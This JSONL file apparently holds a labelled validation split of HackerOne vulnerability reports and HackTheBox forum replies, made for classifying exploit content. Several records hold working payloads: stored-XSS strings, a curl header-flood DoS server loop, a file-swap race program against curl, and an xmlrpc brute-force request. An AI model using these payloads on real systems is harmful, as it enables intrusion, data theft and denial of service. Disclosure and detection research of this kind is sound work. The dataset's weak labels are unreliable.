-{"id": "e186b79e663cca8d6af5", "text": "[Information Disclosure] default ████ creds on https://████████\n\n**Description:**\n\nI can log into `https://███ using` `█████` as credentials\n\n## Impact\nCan do anything an ██████████ can do in this application, Server Now \n\n## Step-by-step Reproduction Instructions\n\n1. go to `https://███████`\n2. log in using `██████████`\n\n## Suggested Mitigation/Remediation Actions\n\nuse proper authentication, this might be a test account but it should still not use `███` as the creds\n\n## Impact\n\nlogged in as ████ ██████ as shown in the screenshot", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6cc909ef66bfebc03b87", "text": "[Improper Authentication - Generic] access to profile & reset password page without authentication\n\n## Summary:\nHi team,\nwhen i checking https://valleyconnect.tva.gov i see we are login! and in top of page see : Hello, null. and we can access to some internal page like  Reset Password.\n                       \n\n## Steps To Reproduce:\n1. go to https://valleyconnect.tva.gov\n2. click on [reset passwod menu](https://valleyconnect.tva.gov/password-rules)\n\n## Tips\nby default we are login in portal and we can get status code 200 from below  Api :\n```\nGET /customapi/v1/user/getbasicprofileinfo HTTP/2\nHost: valleyconnect.tva.gov\n```\n\nresponse is :\n```\nHTTP/2 200 OK\nContent-Type: application/json; charset=utf-8\n\n\"{\\\"username\\\":null,\\\"email\\\":null,\\\"orgId\\\":null,\\\"hasRemoteAssistanceGrant\\\":false}\"\n```\nwe can access to favorites too:\n```\nGET /customapi/v1/user/getuserfavorites \n```\n\nresponse is :\n```\nHTTP/2 200 OK\nDate: Tue, 17 Oct 2023 14:45:02 GMT\n\n\"\"\n```\n\n## Supporting Material/References:\n\n  * {F2780981}\n  * {F2780983}\n\n## Impact\n\nImproper Authentication leads to access to internal page like reset password and profile page.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-30", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "49df13bdf1cef6990fc3", "text": "[Path Traversal: '.../...//'] 2 click Remote Code execution in Evernote Android\n\nThis vulnerability is similar to my previous reported vulnerability #1362313 , in here also weakness is path transversal  vulnerability which helps me to acheive code execution but the root cause is different.\n\nsome part of this app is written in java and some parts are written in react native. \n\nIn evernote we can share notes and notebooks with others. In  notes we can also add attachments and there is option to rename the added attachment. When renaming i founded that special characters are not restricted,for example file uploaded with name `libjnigraphics.so`  can be renamed to `../../../lib-1/libjnigraphics.so` and when the attachment is downloaded it is downloaded with filename `../../../lib-1/libjnigraphics.so`.\nThe evernote android app also does not sanitize the received filename, so when user clicks on attachment,instead of attachment getting downloaded in `/data/data/com.evernote/cache/preview/:UUID/` this directory it is downloaded into   `/data/data/com.evernote/lib-1/libjnigraphics.so` which results into remote code execution.\n\n> #1362313 report vulnerability root cause was that the app was not sanatizing the value of `_display_name ` from the provider of received `content://` uri that  resulted into ACE.\n\n> This report's  root cause is that app is extracting attachment filename from `content-disposition` header  eg:- `content-disposition: attachment; filename=\"../../../lib-1/libjnigraphics.so\"`  and the evernote app is  not sanatizing the received filename from the response header. \nThe attachment download logic is written in react-native and the source file is compiled into hermes javascript bytecode, so i am not able to show the exact vulnerable code like i did in my last report.\n\nThe conclusion i reached was that fixing this report #1362313 bug will not fix this vulnerability so i am writing a new report.\n\n\n\n\n## Steps To Reproduce:\n[add details for how we can reproduce the issue]\n\n  1. Add the native-library poc file to a note {F1489257}\n  2. Rename the attachment to `../../../lib-1/libjnigraphics`.\n  2. Invite the victim to your note.\n\n  Step 2 is needed,i don't know why `Shareable link` feature is not working on evernote android app without sending an invitation\n 3. Click on 3 dots > copy internal link > copy web link OR copy app link(which is android deeplink and can be triggred from websites)\n 4. Send link to victim and open the link (1st click)\n 5. Click on attachment when note is opened (2nd click)\n 6. Close the evernote app and open it again.\nFrom adb shell run nc 127.0.0.1 6666\n* use physical device because i have provided the arm64 architecture native library\n\n>POC VIDEO\n{F1489256}\n\n## Impact\n\nremote code execution in evernote android app with 2 clicks.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "7c5cd9c2fdf78a9c806e", "text": "[Server-Side Request Forgery (SSRF)] SSRF via filter bypass due to lax checking on IPs\n\n## Summary:\nHello,\n\nI was reading up on the recent SSRF bug found on NextCloud which is originally a part of this [report](https://hackerone.com/reports/1608039) by @tomorrowisnew_ \n\nI went through the source code again which was highlighted in the report I mentioned and I noticed that filtering for some of the more advanced SSRF payloads were clearly missing. Alphanumeric payloads came to my mind when thinking about the same so I set up a local test environment with my friend @w1redch4d\n\nWe primarily focused on the code around the IP checking namely `ThowIfLocalIp`:\n```php\n\tpublic function ThrowIfLocalIp(string $ip) : void {\n\t\t$localRanges = [\n\t\t\t'100.64.0.0/10', // See RFC 6598\n\t\t\t'192.0.0.0/24', // See RFC 6890\n\t\t];\n\t\tif (\n\t\t\t(bool)filter_var($ip, FILTER_VALIDATE_IP) &&\n\t\t\t(\n\t\t\t\t!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) ||\n\t\t\t\tIpUtils::checkIp($ip, $localRanges)\n\t\t\t)) {\n\t\t\t$this->logger->warning(\"Host $ip was not connected to because it violates local access rules\");\n\t\t\tthrow new LocalServerException('Host violates local access rules');\n\t\t}\n\n\t\t// Also check for IPv6 IPv4 nesting, because that's not covered by filter_var\n\t\tif ((bool)filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) && substr_count($ip, '.') > 0) {\n\t\t\t$delimiter = strrpos($ip, ':'); // Get last colon\n\t\t\t$ipv4Address = substr($ip, $delimiter + 1);\n\n\t\t\tif (\n\t\t\t\t!filter_var($ipv4Address, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) ||\n\t\t\t\tIpUtils::checkIp($ip, $localRanges)) {\n\t\t\t\t$this->logger->warning(\"Host $ip was not connected to because it violates local access rules\");\n\t\t\t\tthrow new LocalServerException('Host violates local access rules');\n\t\t\t}\n\t\t}\n\t}\n```\nAs seen above, the code is more than capable of rooting out most of the SSRF payloads including IPv4 and IPv6 as well as the recently pointed out payload involving the Alibaba metadata IP `100.100.100.200`. But as stated above, the filtration technique fails when met with some of the more advanced SSRF payloads like the alphanumeric ones. In our test environment, we edited the code and set up a dummy website to test different payloads. The workflow was simple, if the payload was an invalid attempt at an SSRF, the server will throw an exception but if all the filtrations were bypassed successfully, the server would echo Pass.\n\n## Supporting Material/References:\nOur dummy code is as follows:\n```php\n<?php\n      require 'vendor/autoload.php';\n      use Symfony\\Component\\HttpFoundation\\IpUtils;\n\n      function ThrowIfLocalIp(string $ip) : void {\n        $localRanges = [\n            '100.64.0.0/10', // See RFC 6598\n            '192.0.0.0/24', // See RFC 6890\n        ];\n        if (\n            (bool)filter_var($ip, FILTER_VALIDATE_IP) &&\n            (\n                !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) ||\n                IpUtils::checkIp($ip, $localRanges)\n            )) {\n            throw new Exception('Host violates local access rules');\n        }\n\n        // Also check for IPv6 IPv4 nesting, because that's not covered by filter_var\n        if ((bool)filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) && substr_count($ip, '.') > 0) {\n            $delimiter = strrpos($ip, ':'); // Get last colon\n            $ipv4Address = substr($ip, $delimiter + 1);\n\n            if (\n                !filter_var($ipv4Address, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) ||\n                IpUtils::checkIp($ip, $localRanges)) {\n                throw new Exception('Host violates local access rules');\n            }\n        }\n        echo \"Pass\";\n    }\n    ThrowIfLocalIp($_GET[\"ip\"])\n?>\n```\n\nHere are some of the screenshots:\n\n**Server catches exception for Alibaba metadata IP and doesn't echo Pass**\n{F1934403}\n{F1934404}\n\n**Server catches normal payload for AWS Magic IP and doesn't echo Pass**\n{F1934407}\n{F1934406}\n\n**Server passes the Alphanumeric payload for AWS Magic IP", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-10", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "245d8a7a1c2e7576051d", "text": "Maybe TimeVerter can help you: GitHub - D3vil0p3r/timeverter: Bruteforce time-based tokens and convert several time domains.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-05-04", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "b72044a4a3202b2147cf", "text": "[Insecure Storage of Sensitive Information] Leak of sensitive values to Airflow rendered template\n\nI’m just getting started with Airflow, but seem to have got into a situation where sensitive values (e.g. connection passwords) end up in my task’s rendered template. Here’s how my DAG starts, having set up a connection called “secret” with a password specified: \n\n```\n     t1 = BashOperator( \n\n        task_id=\"masked-in-rendered-template\", \n\n        bash_command=\"echo {{ conn.secret.password }}\", \n\n    ) \n        \n\n    t2 = BashOperator( \n\n        task_id=\"not-masked-in-rendered-template\", \n\n        depends_on_past=True, \n\n        bash_command=\"echo {{ conn.secret.password }}\",         \n\n        #bash_command=\"fail {{ conn.secret.password }}\" \n\n    ) \n\n\n    t1 >> t2 \n```\n \n\nI manually trigger this DAG and it runs as expected - it succeeds, and both the rendered template and log output show the password masked. \n\n \n\nNext I swap t2's bash_command for the one intended to fail and manually trigger the DAG again. It also runs as expected, failing but with the password masked in both the rendered template and the log output. \n\n \n\nNext, I manually trigger the DAG again (no changes). This time, since depends_on_past is true for t2, t1 executes fine, but t2 is not scheduled (it shows not yet started in the UI). However, if I click on t2 in the graph view and look at the rendered template, it shows the password *unmasked*. \n\n \n\nFinally, if I swap the lines back again and manually trigger (so t2 succeeds), all the running DAGs complete and the output is masked, \n\n \n\nMy guess is this is a race hazard - the third invocation of t2 won't run (since depends_on_past=True and it previously failed), but the masking code comes at some point later. \n\n \n\nI am running Airflow v2.2.4 on CentOS 7 & Python 3.9\n\n## Impact\n\nLearn sensitive values (e.g. database passwords, API keys etc) from rendered templates", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c1ca28a7287a4eb20ed2", "text": "[Cross-site Scripting (XSS) - Stored] Stored XSS in merge request creation page through payload in approval rule name\n\n### Summary\n\nHi GitLab team, I found a stored XSS in merge request creation page caused by a payload in the name of an \"approval rule\".\n\nAdding approval rules is a feature that is unlocked for premium subscriptions or above. This does not seem to block it from being used against regular users on for example Gitlab.com by inviting them into the \"infected project\".\n\nThis occurs when adding an \"Approval rule\" to a project and giving it a javascript/html payload as the name and attaching the rule to an approver. When a user tries to create a merge request in the project and opens the \"Reviewers\" dropdown, information about the user with the attached rule will be shown and the rule name will be injected underneath.\n\nWith the payload\n```\n<iframe/srcdoc='<script/src=/joaxcar_group/first/-/jobs/1415515489/artifacts/raw/data/alert.js></script>'></iframe>\n```\nthis XSS bypasses the current CSP on Gitlab.com (tried it with an Ultimate trial and inviting a user without a trial to the project)\n\nAs I got the impression that all XSS are treated equal when reporting a similar issue, I have not made any deeper analysis of the reason for this firing. Thought I just report it right away. Please reach back to me if you need me to research the impact deeper! As an example, it does not fire when one \"edits\" a MR which is a bit odd...\n\n### Steps to reproduce\n\n1. Create two user accounts, `attacker_user` and `victim_user` (`attacker_user` must have at least premium features enabled)\n2. Log in as `attacker_user`\n3. Create a project `xss_project` by going to https://gitlab.com/projects/new#blank_project\n4. Go to projects settings on https://gitlab.com/attacker_user/xss_project/edit and scroll down to and expand \"Merge request approvals\"\n\n{F1450906}\n\n5. Click \"Add approval rule\"\n6. Put the payload as the name, If on Gitlab.com use\n```\n<iframe/srcdoc='<script/src=/joaxcar_group/first/-/jobs/1415515489/artifacts/raw/data/alert.js></script>'></iframe>\n```\nif this is tested on a server without CSP feel free to use the payload\n```\n<script>alert(document.domain)</script>\n```\n7. Search for and select `attacker_user` as approver and click create rule.\n\n{F1450905}\n\n8. Invite `victim_user` to the project as `Developer` on https://gitlab.com/attacker_user/xss_project/-/project_members\n9. Log out and log back in as `victim_user`\n10. Go to https://██████████/user_01/pub/-/branches/new and create a branch `new`\n11. Directly click on \"Create merge request\" (which will appear on the screen)\n\n{F1450903}\n\n12. Click on the dropdown at \"Reviewers\"\n13. Payload will trigger\n\n{F1450904}\n\n\n### Impact\n\nStored XSS with CSP bypass. Full Javascript functionality without restrictions, so everything from stealing data to generating and exfiltrating access tokens.\n\n### Examples\n\nIf you access my private project at Gitlab.com (https://gitlab.com/ultimate-joaxcar-test3/xss) as an admin, you should be able to create an MR and trigger payload. (Just an alert box)\n\n### What is the current *bug* behavior?\n\nApprover rule name is injected in the user information without proper sanitization.\n\n### What is the expected *correct* behavior?\n\nThe name should be sanitized\n\n\n### Output of checks\n\nThis bug happens on GitLab.com\n\n## Impact\n\nStored XSS with CSP bypass. Full Javascript functionality without restrictions, so everything from stealing data to generating and exfiltrating access tokens.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "371edeb99836aa5c6901", "text": "[Allocation of Resources Without Limits or Throttling] CVE-2023-38039: HTTP header allocation DOS\n\nIt was found that curl does not currently limit the amount of HTTP headers to be received leading to a potential DOS for the users.\nIf an attacker sets up a malicious HTTP server that continuously sends new headers and keeps the socket open, curl will continuously listen on the socket and parse new received headers. This leads to the user's machine allocating more and more resources until the system is eventually exhausted.\nFrom research the vulnerable function seems to be located at https://github.com/curl/curl/blob/master/lib/transfer.c#L420.\nFor comparison, modern browsers abort the connection once they reach a threshold.\nOne potential fix to not affect functionality too much would be to set an arbitrary limit to the amount of headers to receive, which I believe is the solution adapted by most modern browsers to solve this issue.\n\n## Screenshot \n{F2513231}\nMy excuses for the French in screenshot (I'm sorting programs by RAM usage, and the top one is of course the windows terminal from which I executed curl). On there you can see my user terminal (windows) launching `curl 127.0.0.1:80` to the left, on the right we see the attacker's server (attaching full source code to this report). Throughout testing memory usage kept increasing alarmingly high.\n\n## Malicious server code extract:\n```\nvoid send_payload(int fd)\n{\n\tmemset(speedup, 'a', sizeof(speedup));\n\t//first we send the start of a valid HTTP request with status line and a few headers\n    send(fd, validreq, sizeof(validreq), MSG_MORE);\t\n\twhile (1337)\n\t{\n\t\t//this is used to speed up the dos process sending extra bytes\n\t\tsend(fd, speedup, sizeof(speedup), MSG_MORE );\n\t\t//now we're spamming the curl client with the header \"a:b\" then telling it there's more to come !\n\t\tsend(fd, \"a:b\\x0d\\x0a\", 5, MSG_MORE );\n\t}\n}\n```\n\n## Steps To Reproduce:\n  1. Compile exploit.c and execute the server binary.\nNote: depending on your system, feel free to play with the `ATTACK_SPEED` define of the code, to speed up testing.\n  2. Open up another terminal and as the victim try `curl 127.0.0.1:80`\n  3. Observe system metrics.\n\n## Impact\n\nDOS/overloading of user's system through malicious HTTP server interaction with curl's header parsing.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-38039"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9befa5492558ef189aec", "text": "greetings people, help me please what password word-list I should use? there is tons of it", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-02-07", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "53b6ef2f9d902b1294a5", "text": "[Improper Access Control - Generic] Disavowed an email without any authentication\n\nHii team, I hope you are doing well.\nWhile conducting my research I found that there are some URLs that leads to disavowing some account without any authentication.\nIt allows unauthorized users to disavow or dissociate an email address from an account without requiring proper authentication.\n\nSteps to reproduce:\n1. Put this command into your terminal:\nwaybackurls liberapay.com | grep disavow\n\nThis command will collect all the URLs related to liberapay.com and search for the specific keyword \"disavow\".\n\nIf you open one of the URLs you'll disavow an account without proper authorization.\n\n## Impact\n\nUnauthorized Account Access: Attackers can disassociate a legitimate email address from an account, potentially preventing the real owner from accessing their account.\n\nPlease let me know if you need more info.\n\nKind Regards\n@sameersec", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "0e64cd19f53b63748fa5", "text": "Hi all ! I started JET Fortress and got 3 first flag. Now im stuck for Bypass Authentication. Im looking for someone who want to help me please.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-01-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3095b69f91d2d8255da6", "text": "[Time-of-check Time-of-use (TOCTOU) Race Condition] [curl] CVE-2023-32001: fopen race condition\n\nHello, I'm reporting for CVE-2023-32001 on curl which was resolved in last Wednesday's curl release.\n\n### Vulnerability explanation: \nAs we can see in the following curl code (line 59-61 https://github.com/curl/curl/blob/fb802b521af997230b65174a559f5c419520e142/lib/fopen.c ): \n```C\n  if(stat(filename, &sb) == -1 || !S_ISREG(sb.st_mode)) {\n    /* a non-regular file, fallback to direct fopen() */\n    *fh = fopen(filename, FOPEN_WRITETEXT);\n...\n}\n...\n```\nThere is a race condition between the moment \"stat(filename, &sb)\" is executed and the moment \" fopen(filename, FOPEN_WRITETEXT);\" is executed.\nThis leads to undesirable behavior such as an attacker tricking a privileged user to overwrite protected files, or since this function (Curl_fopen) is also used for storing cookies an attacker could trick another user to send those cookies that might be very sensible to a file fully owned and controlled by the attacker.\n\n###POC/Steps to reproduce:\nBefore we start, I will be using a little program called \"rename\". Which simply swaps atomically the names of two files to be able to showcase this race condition. Here is its code :\n```\n#include <strings.h>\n#include <string.h>\n#include <stdlib.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#define _GNU_SOURCE\n#include <fcntl.h>\n#include <stdio.h>\n#include <unistd.h>\n#include <sys/syscall.h>\n#include <linux/fs.h>\n\n// source https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c\nint main(int argc, char *argv[]) {\n  while (1) {\n    syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);\n  }\n  return 0;\n}\n```\n\nOpen two terminals, with two different users. One will be the attacker terminal and the other the victim. \nIn both POCs, the victim  will want to execute a command such as \"curl --cookie-jar a google.com\" thinking the file \"a\" doesn't exist.\n\n###A) Exploiting this vulnerability to trick a user to overwrite a file they own:\n\nAssume the current directory of both attacker(selmelc) and victim (root) looks like this\n```SHELL\nlrwxrwxrwx 1 selmelc selmelc     4 Jun 27 07:11 a -> flag\ndrwxrwxrwx 2 selmelc selmelc  4096 Jun 27 07:11 b\n-rw-r--r-- 1 root    root        6 Jun 27 07:05 flag\n-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename\n```\nThe attacker executes ./rename a b, which will not stop to swap the name of the directory \"b\" and the symlink \"a\". \n\nThe victim executes their command \"curl --cookie-jar a google.com\".\nThe race condition is successfully exploited if in the vulnerable code the stat identifies the file \"a\" as a directory and then the \"fopen\" opens the symlink that points to the file \"flag\".\nIf that happened then the results looks like this :\n```\n...\n-rw-r--r-- 1 root    root      131 Jun 27 07:13 flag\n...\nroot@deb:/home/selmelc/Documents# cat flag\n# Netscape HTTP Cookie File\n# https://curl.se/docs/http-cookies.html\n# This file was generated by libcurl! Edit at your own risk.\n```\nAdditional note: \nYou might think \"well that's just how symlinks work\"... To clarify on that, by default if the victim was executing  \"curl --cookie-jar a google.com\" without the attacker exploiting the vuln. a different behavior would occur ; the file \"a\" would be erased (no more symlink) and overwritten as a regular file containing the cookie data. This happens because the stat function follows symbolic links therefore in that scenario we would not enter the vulnerable condition which leads to the race condition.\n\n###B) Exploiting this vulnerability to steal the victim's cookies and hide it from them:\n\nAs this uses the same logic as the previous exploit for this vuln. Repeat same steps except this time we want the \"flag\" file to be owned by the attacker as following:\n```\nlrwxrwxrwx 1 selmelc selmelc     4 Jun 27 08:42 a -> flag\ndrwxrwxrwx 2 selmelc selmelc  4096 Jun 27 08:41 b\n-rw--w--w- 1 selmelc selmelc     0 Jun 27 08:41 flag\n-rwxr-x--- 1 selmelc selmelc 16608 Jun 27 07:04 rename\n\n```\nNormal curl behavior after the victim executed  \"curl --cookie-ja", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-32001"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a0dc16d58e5395477e1f", "text": "[Improper Authorization] User with no Develop apps permission can Uninstall Custom App\n\nHi,\n\nYou know user must have Develop apps permission to Uninstall  Develop apps \nto test this just create staff with `Manage and install apps and channels`\n\n{F1601504}\n\nsend this mutation just change appId by your id\n\n```\n{\"operationName\":\"UninstallCustomApp\",\"variables\":{\"appId\":\"gid://shopify/App/6431893\"},\"query\":\"mutation UninstallCustomApp($appId: ID!) {\\n  appUninstall(input: {id: $appId}) {\\n    app {\\n      id\\n      __typename\\n    }\\n    userErrors {\\n      field\\n      message\\n      __typename\\n    }\\n    __typename\\n  }\\n}\\n\"}\n```\n\n## Impact\n\nUser with no Develop apps permission can Uninstall Custom App", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "4b7d06a59c778331e6d3", "text": "[Insecure Direct Object Reference (IDOR)] IDOR allows an attacker to delete anyone's featured photo.\n\nHi Team, previously I submitted a bug report #1606896  that closed as informative without understanding my proof-of-concept and I believe that the bug is 100% exploitable so here I am again explaining my proof-of-concept. I hope this time you people get my point.\nI found an IDOR while deleting featured images, allowing me to delete anyone's featured images all over Linkedin. The request takes two main parameters ==ImageId== and ==ProfileId==. Both of these parameters are almost impossible to guess or brute force, but when I'm looking at the victim's profile featured images I noticed that both of the ==required parameters are available in the link itself==.\n> Hence, there is no need to guess or enumerate the parameters and then I can delete anyone featured images.\n\n==Note: If you can't get any point then please let me know.==\n\nStep To Reproduce:\n-------------------\n1. Make two accounts one is for the victim and the other for an attacker.\n    \n2. Add some featured images in both accounts. Go to\n    Profile --> Add Profile Section --> Recommended --> Add Featured\n\n3. Delete an image on the attacker's account and capture that request using burp and sent it to the repeater.\n    It makes a delete request like the one, given below.\n```\nDELETE /voyager/api/voyagerIdentityDashProfileTreasuryMedia/urn:li:fsd_profileTreasuryMedia:(█████████,███████)?sectionUrn=urn:li:fsd_profile:███████\n```\n\n4. It takes consists of thress things ==ProfileId== (██████████) , ==ImageId== (██████████) and ==sectionUrn== which also take same ProfileId value.\n    \n\n5. Now visit the victim's profile featured images without logging in as the victim.\n    Copy the link of the image you want to delete from the victim's profile, which looks like this.\n\n```\nhttps://www.linkedin.com/in/tension-███████/details/featured/██████/single-media-viewer?type=IMAGE&profileId=██████&lipi=urn:li:page:d_flagship3_profile_view_base_featured_details%3B███████\n```\n\n6.  Paste that link into your notepad and notice that in this link, we got both ==ProfileId== , ==ImageId==.\nIn the above link, I get these.    \nprofileId = █████\nImageId = ████\n\n7. Now simply replace the respected values of required parameters in the repeater and send a request.\n\n8. You see that the targeted featured image from the victim's profile was successfully deleted.\n\n##POC:\n\n████\n\n## Impact\n\nI am able to delete anyone's featured images on Linkedin.\n\nThanks,\nRegards\nAdilnBabras", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "87fd4dec27fb3e915e86", "text": "[Information Disclosure] Wordpress users disclosure from json and xml file\n\n## Summary:\nIt's possible to get information about the users registered (such as: username) without authentication in Wordpress via API on:\nhttps://www.mtn.co.sz/wp-json/oembed/1.0/embed?url=https://www.mtn.co.sz/&format=json\nhttps://www.mtn.co.sz/author-sitemap.xml\n\n## Steps To Reproduce:\nThe path https://www.mtn.co.sz/wp-json/wp/v2/users/me  is configured correctly. Active usernames cannot be displayed and the application responds with code 401, saying that I am not authorized.\n\n{F1523939}\n\nBut there is this active path, which allows anyone to view active usernames:\nhttps://www.mtn.co.sz/wp-json/oembed/1.0/embed?url=https://www.mtn.co.sz/&format=json\nhttps://www.mtn.co.sz/author-sitemap.xml\n\n{F1523940}\n\n{F1523941}\n\nUsername found:\n- waseem\n- nkosivile\n\nThese users can be used to bruteforce, thanks also to the enabled xmlrpc.php file. Perform this request with Burp:\n```\nPOST /xmlrpc.php HTTP/1.1\nHost: www.mtn.co.sz\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nUpgrade-Insecure-Requests: 1\nTe: trailers\nContent-Length: 180\n\n<methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param><value>\\{\\{admin\\}\\}</value></param> <param><value>\\{\\{password\\}\\}</value></param></params></methodCall>\n```\nYou can replace the \"admin\" parameter with the username.\n\n{F1523945}\n\n## Impact\n\nIt's possible to get all the users registered on the system and create a bruteforce directed to these users.\n\n**Suggested Mitigation/Remediation Actions**\nAs already done for the \"/wp-json/wp/v2/users/\" path, I recommend blocking the active path as well.\nIf the XMLRPC.php file is not used, it should be disabled and removed completely to avoid potential risks by bruteforce. Otherwise, it should at least be blocked from outside access.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c2db076d535999f45ba8", "text": "For the first step you must use the information that you suppose, first use cupp to get a password list, remember the filters of this list that you learned in the previous lessons (sed …), after that, as the exercise recommend use the tool username-anarchy to create a list of usernames. With these tips you should pass the first parth of the exercise. Best, Amaro", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-01-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d9f317706809c9df2ba9", "text": "[Cross-site Scripting (XSS) - Stored] stored XSS on AliExpress Review Importer/Products when delete product\n\nHi @judgeme!\n`code`\nStep to reproduce:\n\n1. Go to Shopify admin and create product with name `\">&#60;\"><img src=x onerror=prompt(document.domain)> img src=x onerror=prompt(&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#100;&#111;&#109;&#97;&#105;&#110;)>`\n\n2. Go to AliExpress Review Importer/Products and delete our product with name ` \t\"><\"><img src=x onerror=prompt(document.domain)> img src=x onerror=prompt(document.domain)> `\n\n{F1544890}\n3. Xss work=)\n\n\nP.S. Poc wideo attach\n\n\n{F1544893}\n\n## Impact\n\ncookie stealer", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-03-31", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "63adf2051ad303f6707d", "text": "Did you keep in mind the different time zones? The displayed time zone is your local time zone in UTC, the server might have a different one. Thus, ±1 s is probably not enough", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-02-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3ab6d821d32b04fe2da0", "text": "[Improper Authentication - Generic] [nextcloud/server] Moment.js vulnerable to Inefficient Regular Expression Complexity\n\n## Describe the bugs: 🐛\nmoment is a lightweight JavaScript date library for parsing, validating, manipulating, and formatting dates. affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the preprocessRFC2822() function in from-string.js, when processing a very long crafted string (over 10k characters).\n\n**PoC:**\n```javascript\nmoment(\"(\".repeat(500000))\n```\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an:\n```javascript\nregex = /A(B|C+)+D/\n```\nThis regular expression accomplishes the following:\n  * `A` The string must start with the letter 'A'\n  *  `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n  * `D` Finally, we ensure this section of the string ends with a 'D'\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n```javscript\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")' 0.04s user 0.01s system 95% cpu 0.052 total\n```\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost 